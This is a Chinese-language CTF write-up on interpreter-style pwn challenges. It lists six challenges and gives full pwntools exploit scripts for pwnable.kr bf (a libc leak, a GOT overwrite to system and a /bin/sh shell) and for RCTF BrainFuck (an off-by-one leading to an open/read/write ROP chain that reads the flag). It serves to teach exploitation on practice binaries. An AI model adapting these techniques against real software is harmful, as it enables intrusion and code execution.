1.前言
参考ERROR404师傅来对解释器类题目进行一个总结,整理题目如下:
- Pwnable_bf:此题是利用了brainfuck本身的特性以及题目没有对GOT进行保护导致我们可以便捷的进行利用。
- 2020 RCTF bf:此题是因为解释器的实现存在漏洞,并不是利用语言本身的特性。
- 2020 DAS-CTF OJ0:此题是直接让我们写程序来读flag,而我们读flag时又需要绕过一些题目的过滤语句~
- DEFCON CTF Qualifier 2020 introool:此题严格来说并不是实现的解释器,但是它仍然是直接依据我们的输入来生成可执行文件,属于广义上的解释器。
- [Redhat2019] Kaleidoscope:此题创新性的使用了fuzz来解题。
- 2020 DAS-CTF OJ1:此题仍然为直接让我们写程序来读flag,但是他限制了所有括号的使用!
bin文件和exp在文末2.基本介绍
解释器(英语Interpreter),又译为直译器,是一种电脑程序,能够把高级编程语言一行一行直接转译运行。解释器不会一次把整个程序转译出来,只像一位“中间人”,每次运行程序时都要先转成另一种语言再作运行,因此解释器的程序运行速度比较缓慢。它每转译一行程序叙述就立刻运行,然后再转译下一行,再运行,如此不停地进行下去。 - 实际上核心也是逆向,逆向出对应的符号代表的指令*
3.题目
3.1 pwnable bf
3.1.1 查看文件
可以看到got表的保护没有开启,同时PIE也没有开启。
3.1.2 IDA分析
3.1.3 思路
思路很容易就想到劫持got表,先越界leak出libc地址,再改got表。
其实具体思路想了半天,开始还是踩了坑的。最开始尝试将/bin/sh写入bss中,同时改putschar为system。发现这个是byte类的函数,意思就是执行system(“/“)。。。。第二次又是将got表改为one_gadget。
最后思路出炉:
3.1.4 exp
#coding=utf-8
from pwn import *
context.log_level = "debug"
debug = 0
if debug:
p = process("./bf")
elf = ELF("./bf")
libc = ELF("./bf_libc.so")
else:
p = remote("pwnable.kr",9001)
elf = ELF("./bf")
libc = ELF("./bf_libc.so")
one_gadgets = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]
start_address = 0x804a080
puts_got = 0x804a018
putchar_got = 0x0804a030
strlen_got = 0x0804a020
fgets_get = 0x804a010
memset_got = 0x804a02c
p.recvuntil("except [ ]")
#---leak libc---
payload ='<'*0x88
payload+='.'
payload+='>'
payload+='.'
payload+='>'
payload+='.'
payload+='>'
payload+='.'
#---modify putchar got start----
payload+='['
payload+='>'*0x15
payload+=','
payload+='>'
payload+=','
payload+='>'
payload+=','
payload+='>'
payload+=','
# modify fgets to system
payload+='['
payload+='<'*(0x20+3)
payload+=','
payload+='>'
payload+=','
payload+='>'
payload+=','
payload+='>'
payload+=','
#modify memset to gets
payload+='['
payload+='>'*(0x1c-3)
payload+=','
payload+='>'
payload+=','
payload+='>'
payload+=','
payload+='>'
payload+=','
payload+='.'
# gdb.attach(p)
p.sendline(payload)
p.recv(4)
sleep(1)
libc.address = u32(p.recv(4))-libc.symbols['puts']
success("libc address ==> "+hex(libc.address))
p.send(chr(0xe0))
sleep(1)
p.send(chr(0x84))
sleep(1)
p.send(chr(0x04))
sleep(1)
p.send(chr(0x08))
raw_input()
hack_addr = libc.sym["system"]
addr_1 = hack_addr % 0x100
addr_2 = (hack_addr >> 8)%0x100
addr_3 = (hack_addr >> 16)%0x100
addr_4 = hack_addr >> 24
gets_addr = libc.symbols["gets"]
gets_addr_1 = gets_addr % 0x100
gets_addr_2 = (gets_addr >> 8)%0x100
gets_addr_3 = (gets_addr >> 16)%0x100
gets_addr_4 = gets_addr >> 24
sleep(3)
p.recvuntil("supported.\n")
p.send(chr(addr_1))
sleep(1)
p.send(chr(addr_2))
sleep(1)
p.send(chr(addr_3))
sleep(1)
p.send(chr(addr_4))
raw_input()
sleep(3)
p.recvuntil("supported.\n")
p.send(chr(gets_addr_1))
sleep(1)
p.send(chr(gets_addr_2))
sleep(1)
p.send(chr(gets_addr_3))
sleep(1)
p.send(chr(gets_addr_4))
raw_input()
p.recvuntil("except [ ]\n")
p.sendline("/bin/sh")
p.interactive()
3.2 RCTF BrainFuck
3.2.1 查看文件
3.2.2 IDA分析
C++实现的,逆向有一些困难,通过百度找到brainFuck语言,找到指令对应的关系
这样的话就很容易想到改code地址为ret地址,再写入rop来orw读取flag。
因为后面输入继续的话,code地址就是修改的地址,那么下次直接从这里(程序返回地址)开始写rop就可以了,但是还有一个问题就是我们需要还原code地址,也就是说需要再触发一次off by one来还原code_addr,这段代码我们跟在rop后面,由于解析到ret地址的时候会是一大片rop,但是由于里面没有我们可以解析的指令,所以会一直++循环到我们输入触发off by one的指令,这样就可以将code_addr改回来了。
3.2.4 exp
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./bf')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('libc.so.6')
p = process('./bf')
else:
libc = ELF('./x64_libc.so.6')
p = remote('f.buuoj.cn',20173)
def exp():
#leak libc
p.recvuntil("enter your code:")
payload = '+[>+],.'
#gdb.attach(p,'b* 0x555555554000+0x1d2b')
p.sendline(payload)
raw_input()
p.send("\x68")
p.recvuntil("done! your code: ")
libc_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - 231 - libc.sym['__libc_start_main']
log.success("libc base => " + hex(libc_base))
#make rops
p_rdi = libc_base + 0x000000000002155f
p_rsi = libc_base + 0x0000000000023e6a
p_rdx = libc_base + 0x0000000000001b96
p_rax = libc_base + 0x00000000000439c8
syscall = libc_base + 0x00000000000d2975
flag_addr = libc_base + libc.sym['__malloc_hook'] + 0x200
rops = flat([
#read flag into libc
p_rdi,0,
p_rsi,flag_addr,
p_rdx,0x8,
p_rax,0,
syscall,
#open
p_rdi,flag_addr,
p_rsi,0,
p_rdx,0,
p_rax,2,
syscall,
#read
p_rdi,3,
p_rsi,flag_addr+0x20,
p_rdx,0x20,
p_rax,0,
syscall,
#write
p_rdi,1,
p_rsi,flag_addr+0x20,
p_rdx,0x20,
p_rax,1,
syscall
])
p.recvuntil("want to continue?")
payload = 'y'+rops # 解析到这个位置的时候只会++,不过运气比较好,没有上述可以解析的指令
payload += '+[>+],.' # 最后会解析到这里
#gdb.attach(p)
p.sendline(payload)
raw_input()
p.send("\x30")
p.recvuntil("want to continue?")
p.send("n./flag")
p.interactive()
exp()